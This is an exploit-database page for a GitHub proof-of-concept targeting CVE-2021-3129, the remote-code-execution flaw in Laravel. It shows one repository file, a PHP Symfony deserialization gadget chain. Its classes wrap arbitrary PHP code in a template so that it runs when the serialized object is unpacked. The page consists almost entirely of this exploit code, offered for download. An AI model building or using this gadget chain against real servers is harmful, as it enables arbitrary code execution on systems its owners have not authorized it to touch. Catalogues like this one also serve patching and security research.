Exploit database

GH-16376e4357f06350aba70a4970a8d451

shadowabi/laravel-cve-2021-3129

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3129

36 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gadgetchains/Symfony/RCE/3/gadgets.php

PHP · 901 bytes
<?php

namespace Symfony\Component\Templating\Storage{
	class StringStorage{
		protected $template = '';
		public function __construct($code){
			$this->template = '<?php '.$code.';die(); ?>';
		}
	}
}

namespace Symfony\Component\Templating{
	class TemplateNameParser{}
	class TemplateReference{}
	class PhpEngine{
		protected $parser;
		protected $cache;
		protected $current;
		protected $globals = array();
		public function __construct($s){
			$this->parser = new TemplateNameParser;
			$this->current = new TemplateReference;
			$this->cache = array(NULL=>$s);
		}
	}
}

namespace Symfony\Component\Finder\Expression{
	class Expression{
		private $value;
		public function __construct($p){
			$this->value = $p;
		}
	}
}

namespace Symfony\Component\Process\Pipes{
	class WindowsPipes{
	    private $files = array();
		public function __construct($e){
			$this->files = array($e);
		}	
	}
}

?>